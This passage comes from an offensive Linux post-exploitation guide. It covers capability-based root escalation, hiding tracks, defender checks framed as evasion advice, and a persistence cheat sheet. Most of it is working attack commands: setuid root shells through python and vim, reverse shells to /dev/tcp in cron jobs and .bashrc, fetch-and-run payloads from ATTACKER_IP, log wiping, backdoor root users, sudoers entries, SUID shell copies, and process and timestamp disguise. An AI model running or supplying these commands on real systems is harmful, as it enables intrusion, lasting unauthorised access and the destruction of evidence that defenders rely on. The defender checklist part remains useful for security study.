python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
# ==========================================
# METHOD 2 — cap_setuid on vim
# ==========================================
setcap cap_setuid+eip /usr/bin/vim.basic
# Exploit:
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash","bash","-p")'
# ==========================================
# METHOD 3 — cap_dac_override on cat/tee
# ==========================================
# Can read ANY file, including /etc/shadow!
setcap cap_dac_override+eip /usr/bin/tee
# Exploit (write SSH key as any user):
echo "ssh-rsa AAAA..." | tee /root/.ssh/authorized_keys
# ==========================================
# FIND CAPABILITIES
# ==========================================
getcap -r / 2>/dev/null # Find all binaries with caps
getpcaps <PID> # Capabilities of a process
cat /proc/<PID>/status | grep Cap # Raw capability bitmask
19. Hiding Tracks
Cover your presence — clear logs, hide files, mask processes.
# ==========================================
# CLEAR LOG FILES
# ==========================================
# Clear bash history (current session)
history -c
history -w
unset HISTFILE
export HISTSIZE=0
# Prevent history recording (set at start of session)
unset HISTFILE
export HISTFILESIZE=0
export HISTSIZE=0
# Clear specific log files
cat /dev/null > /var/log/auth.log
cat /dev/null > /var/log/syslog
cat /dev/null > /var/log/messages
cat /dev/null > /var/log/apache2/access.log
cat /dev/null > /var/log/apache2/error.log
# Remove specific lines from auth.log (surgical)
sed -i '/ATTACKER_IP/d' /var/log/auth.log
sed -i '/backdoor/d' /var/log/auth.log
# Clear wtmp/lastlog (hides last login info)
cat /dev/null > /var/log/wtmp # Clears 'last' command output
cat /dev/null > /var/log/lastlog # Clears 'lastlog' output
cat /dev/null > /var/log/btmp # Clears failed login attempts
# ==========================================
# HIDE FILES
# ==========================================
# Prepend dot to hide from ls (not ls -la)
mv backdoor.sh .backdoor.sh
mkdir /tmp/.hidden/
# Use "..." or spaces as directory names (harder to notice)
mkdir '/tmp/...'
mkdir '/tmp/ ' # Space in name!
# Hide in /dev (unusual location, often ignored)
mkdir /dev/.persist
cp /tmp/shell.sh /dev/.persist/
# Use /proc/pid fake directory tricks
# Store in /tmp with timestamp-like names
cp shell.sh /tmp/1726856366
# ==========================================
# HIDE PROCESSES
# ==========================================
# Use names that look like kernel threads [brackets]
# (requires compiling custom binary with process rename)
prctl(PR_SET_NAME, "[kworker/0:1]", 0, 0, 0)
# Run under a common process name
exec -a "[sshd]" /tmp/backdoor
# ==========================================
# TIMESTAMP MANIPULATION
# ==========================================
# Match timestamps of modified files to legit files
touch -r /bin/ls /etc/cron.d/backdoor # Copy timestamp from ls
touch -t 202301010000 /etc/cron.d/backdoor # Set specific timestamp
touch -r /etc/passwd /etc/cron.d/backdoor # Match /etc/passwd time
# ==========================================
# REMOVE EVIDENCE OF DOWNLOAD
# ==========================================
# Download and execute without saving to disk
curl -s http://ATTACKER_IP/payload.sh | bash
wget -qO- http://ATTACKER_IP/payload.sh | bash
# Clear specific command from history
history | grep wget
history -d <line_number>
20. Detection & Blue Team
Know what defenders look for. Know how to be harder to find.
# ==========================================
# WHAT DEFENDERS CHECK
# ==========================================
# Cron jobs
crontab -l -u root
crontab -l -u www-data
cat /etc/cron.d/*
ls /etc/cron.hourly/ /etc/cron.daily/
# Systemd services (look for recently added/enabled)
systemctl list-units --type=service --state=enabled
systemctl list-timers --all
ls -lt /etc/systemd/system/ # Sort by modification time!
# SSH authorized keys
find / -name "authorized_keys" 2>/dev/null
cat /root/.ssh/authorized_keys
cat /home/*/.ssh/authorized_keys
# SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Compare against known-good SUID list
# Capabilities
getcap -r / 2>/dev/null
# Users with shells (UID 0 or sudo)
grep -v 'nologin\|false' /etc/passwd
awk -F: '($3==0)' /etc/passwd # UID 0 users
grep -i sudo /etc/group
# Listening ports (backdoor listeners)
ss -tlnp
netstat -tlnp
# Hidden files
find / -name ".*" -type f 2>/dev/null | grep -v ".cache\|.config\|.local"
# Recently modified files
find /etc /bin /sbin /usr/bin /usr/sbin -newer /tmp -type f 2>/dev/null
find / -mtime -1 -type f 2>/dev/null # Modified in last 24h
# LD_PRELOAD
cat /etc/ld.so.preload
# PAM modules
ls -la /lib/x86_64-linux-gnu/security/
cat /etc/pam.d/sshd
cat /etc/pam.d/sudo
# Shell profiles
cat /etc/profile
cat /etc/bash.bashrc
cat /etc/profile.d/*.sh
cat ~/.bashrc ~/.bash_profile ~/.profile
# MOTD scripts
ls -la /etc/update-motd.d/
# /etc/passwd for unusual entries
grep -v 'nologin\|false\|sync' /etc/passwd
# Process tree (look for unusual parents)
ps -ef --forest
pstree -p
# ==========================================
# DETECTION TOOLS
# ==========================================
# rkhunter (rootkit hunter)
rkhunter --check --sk
# chkrootkit
chkrootkit
# Lynis (system audit)
lynis audit system
# Tripwire (file integrity)
tripwire --check
# Auditd (system call logging)
auditctl -l # Active audit rules
ausearch -k persistence
aureport --summary
# Sysmon for Linux
# systemctl status sysmon
# /var/log/syslog (Sysmon events)
21. Master Cheat Sheet
LINUX PERSISTENCE MASTER REFERENCE
=====================================================================
TIER 1 — USER LEVEL (No Root Required)
─────────────────────────────────────────────────────────────────
SSH Key echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
crontab crontab -e → * * * * * bash -i >& /dev/tcp/IP/4444 0>&1
Shell Profile echo 'nohup bash -c "bash -i >& /dev/tcp/IP/4444 0>&1" &' >> ~/.bashrc
Systemd User ~/.config/systemd/user/
at Job echo '/tmp/shell.sh' | at now + 5 minutes
Git Hook .git/hooks/pre-commit → shell execution
Web Shell echo '' > /var/www/html/img.php
TIER 2 — ROOT LEVEL (High Impact)
─────────────────────────────────────────────────────────────────
Systemd Service /etc/systemd/system/
Systemd Timer /etc/systemd/system/
/etc/cron.d/ echo "* * * * * root bash -i >& /dev/tcp/IP/4444 0>&1" > /etc/cron.d/svc
rc.local append command before 'exit 0' in /etc/rc.local
init.d script /etc/init.d/
MOTD /etc/update-motd.d/
New Root User useradd -o -u 0 -g 0 -s /bin/bash backdoor
sudoers entry echo 'backdoor ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
SUID bash copy cp /bin/bash /tmp/.bash && chmod +s /tmp/.bash
SUID python3 chmod +s /usr/bin/python3 → any user can do os.setuid(0)
LD_PRELOAD echo '/lib/libutil-preload.so' >> /etc/ld.so.preload
PAM backdoor compile pam_backdoor.so → add to /etc/pam.d/sshd
TIER 3 — ADVANCED
─────────────────────────────────────────────────────────────────
Kernel Module insmod backdoor.ko → deepest, hardest to detect
Docker Group docker run -v /:/mnt/host alpine chroot /mnt/host bash
Capabilities setcap cap_setuid+eip /usr/bin/python3.10
QUICK REDUNDANCY STRATEGY (Do ALL of these after root):
─────────────────────────────────────────────────────────────────
-
SSH key → /root/.ssh/authorized_keys
-
Cron job → /etc/cron.d/ (every minute)
-
Systemd service → /etc/systemd/system/
-
New user with sudo → backdoor:Password123!
-
SUID bash copy → /tmp/.bash
-
MOTD script → /etc/update-motd.d/
STEALTH TIPS:
─────────────────────────────────────────────────────────────────
-
Use names that mimic legit services:
dbus-org.freedesktop.resolved, apt-daily-upgrade, NetworkManager-dispatcher -
Touch timestamps to match legit files:
touch -r /bin/ls /etc/cron.d/backdoor -
Execute from memory (no file on disk):
curl -s http://ATTACKER_IP/payload | bash -
Use nohup + disown to detach:
nohup /tmp/shell &>/dev/null & disown -
Store files in unusual locations:
/dev/.hidden/, /var/lib/apt/.cache/, /proc/sys/.data
COVERING TRACKS:
─────────────────────────────────────────────────────────────────
unset HISTFILE && export HISTSIZE=0
cat /dev/null > /var/log/auth.log
cat /dev/null > /var/log/syslog
sed -i '/ATTACKER_IP/d' /var/log/auth.log
cat /dev/null > /var/log/wtmp